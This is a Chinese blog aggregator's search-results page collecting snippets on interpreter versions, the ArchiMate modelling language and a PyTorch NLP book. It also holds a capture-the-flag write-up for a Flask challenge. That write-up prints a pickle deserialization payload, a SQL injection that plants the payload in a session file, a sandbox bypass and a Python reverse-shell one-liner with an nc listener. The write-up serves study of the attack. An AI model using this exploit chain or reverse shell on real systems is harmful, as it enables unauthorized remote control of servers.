首页 文章 精选 留言 我的

精选列表

搜索[language],共4018篇文章
优秀的个人博客,低调大师

Language

30.15.1.perl [root@F5:Active] config # perl [root@F5:Active] config # perl -v This is perl, v5.8.8 built for i386-linux-thread-multi Copyright 1987-2006, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using "man perl" or "perldoc perl". If you have access to the Internet, point your browser at http://www.perl.org/, the Perl Home Page. 30.15.2.python [root@F5:Active] config # python Python 2.4.3 (#1, Apr 8 2010, 19:04:08) [GCC 4.1.2 20080704 (Red Hat 4.1.2-46)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 30.15.3.PHP [root@F5:Active] config # php -v PHP 5.2.10 (cli) (built: Apr 8 2010 20:58:22) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies 30.15.4.lua [root@F5:Active] config # lua Lua 5.1.2 Copyright (C) 1994-2007 Lua.org, PUC-Rio > 30.15.5. 原文出处:Netkiller 系列 手札 本文作者:陈景峯 转载请与作者联系,同时请务必标明文章原始出处和作者信息及本声明。

优秀的个人博客,低调大师

Language

[root@LBbanggooADC01 ~]# perl -v This is perl, v5.8.8 built for x86_64-linux-thread-multi Copyright 1987-2006, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using "man perl" or "perldoc perl". If you have access to the Internet, point your browser at http://www.perl.org/, the Perl Home Page. # python Python 2.4.3 (#1, Sep 3 2009, 15:37:37) [GCC 4.1.2 20080704 (Red Hat 4.1.2-46)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 原文出处:Netkiller 系列 手札 本文作者:陈景峯 转载请与作者联系,同时请务必标明文章原始出处和作者信息及本声明。

优秀的个人博客,低调大师

架构语言ArchiMate - 语言结构(Language Structure)

在ArchiMate - 开篇:企业架构语言ArchiMate介绍中对企业架构语言ArchiMate进行了总体介绍,本篇将介绍一下ArchiMate的语言结构。 元模型级别 知道OO的都知道,任何东西都是对象,在元模型的语言最抽象级别就是对象(Object)和关系(Relation) 对于企业架构来说,重要的概念就是产品(业务流程)和实现(应用) 开发架构时,需要对特定领域进行描述,比如流程图、领域模型图等 核心概念 区分内部和外部概念,有点类似SOA的架构概念 外部是暴露给客户的产品和服务,如Service和Interface 内部是具体行为和相关结构元素 协作与交互(Collaboration and Interaction) 协助包含多个结构元素 交互是一种行为 关系(Relationships) The ArchiMate Framework ArchiMate是一种集成多种架构的一种可视化业务分析模型语言,它从下图业务、应用和技术三个层次(Layer),对象、行为和主体三个方面(Aspect)和产品、组织、流程、信息、数据、应用、技术领域(Domain)来进行描述: 业务层(Business):提供对外部客户的产品和服务 ,这些服务由组织内的业务角色通过业务流程来实现 应用层(Application):支持业务服务的应用 技术层(Technology):通过硬件和软件的交互来运行应用程序 除了以上这些核心方面之外,还有其它一些重要的领域概念,如:目标(Goals)、安全(Security)、治理(Governance)、费用(Costs)、性能(Performance)、时间(Timing)、计划和演进(Planning and evolution)等。 本文转自 jingen_zhou 51CTO博客,原文链接:http://blog.51cto.com/zhoujg/518607,如需转载请自行联系原作者

优秀的个人博客,低调大师

复现强网杯python is the best language 2

参考文献:https://xz.aliyun.com/t/2219http://120.77.209.122/index.php/archives/25/ 源码下载下来后,是基于flask框架,先查看路由文件routes.py,里面功能大部分是基于登陆的。 在others.py的最后有这样的内容 2.png load()函数有一个unpkler函数用于反序列化参数(file),如果file可控那么这就是一个反序列化漏洞。 借用下大佬的payload,理解下这个。 用下面的脚本(12.py)进行序列化payload的生成: import os from pickle import Pickler as Pkler import commands class hhh(object): def __reduce__(self): return (os.system,("whoami",)) evil = hhh() def dump(file): pkler = Pkler(file) pkler.dump(evil) with open("test","wb") as f: dump(f) 测试反序列化漏洞(13.py): from pickle import Unpickler as Unpkler from io import open as Open def LOAD(file): unpkler = Unpkler(file) return Unpkler(file).load() with Open("test","rb") as f: LOAD(f) 执行会12.py后,会在12.py的同级目录下生成test,执行13.py会显示出用户信息 全局搜索load()函数,发现它在Mycache.py的FileSystemCache类中有多次引用。(代码太长了,贴下有用的) 2.png 跟入_get_filename方法 2.png 可以看到将传入的字符串key进行MD5,并将其返回。通过全局搜索,发现在Mysession.py的open_session中调用了key 2.png 1.png 其中self.key_prefix为bdwsessions,因此假设cookie中的sesssion值为pleated,则self.key_prefix + sid即为bdwsessionspleated,然后这串字符串进行MD5得到的结果0ab5423aafb316e9c299e0bb853d0c11。这样就可以控制file了。 攻击流程 ①本地生成序列化文件,并且进行十六进制编码 ②通过第一关的sql注入,将本地生成的payload,写入服务器上的session文件,指定文件名为MD5(bdwsessionspleated),这样我们在访问/index的时候把cookie中的session值改为pleated,触发open_session中的self.cache.get就可以进行反序列化攻击了 沙箱逃逸 源码还设置了沙箱/黑名单来防止某些函数的执行,比如前面的os.system就被禁用了 2.png 此处过滤了大多数函数,但是 commands.getoutput和subprocess.Popen()并没有过滤,payload用的是 commands.getoutput import cPickle import commands class Exp(object): def __reduce__(self): return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",)) e = Exp() poc = cPickle.dumps(e) print '0x'+poc.encode('hex') 在注册的邮箱处填入: test12'/**/union/**/select/**/0x63636f....../**/into/**/dumpfile/**/'/tmp/ffff/0ab5423aafb316e9c299e0bb853d0c11'#@test12.com 注册后出现Please use a different email address.。说明写入成功 然后访问http://39.107.32.29/:20000/index 抓包修改session值为pleated 反弹shell nc -l -p 8181 -vvv 查看flag即可。

优秀的个人博客,低调大师

书籍:python自然语言处理(PyTorch) Natural Language Processing with PyTorch - 2...

简介 使用PyTorch 进行自然语言处理 自然语言处理(NLP)为解决人工智能问题提供了无限机会,使亚马逊Alexa和谷歌翻译等产品成为可能。如果您是NLP和深度学习新手的开发人员或数据科学家,本实用指南将向您展示如何使用PyTorch(一种基于Python的深度学习库)应用这些方法。 作者Delip Rao和Brian McMahon为您提供了NLP和深度学习算法的坚实基础,并演示了如何使用PyTorch构建涉及您遇到的问题的丰富文本表示的应用程序。每章包括几个代码示例和插图。 •探索计算图和监督学习范例•掌握PyTorch优化张量操作库的基础知识•概述传统的NLP概念和方法•了解构建神经网络所涉及的基本思想•使用嵌入来表示单词,句子,文档和其他功能•探索序列预测并生成序列到序列模型•了解用于构建生产NLP系统的设计模式 参考资料 下载:

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

用户登录
用户注册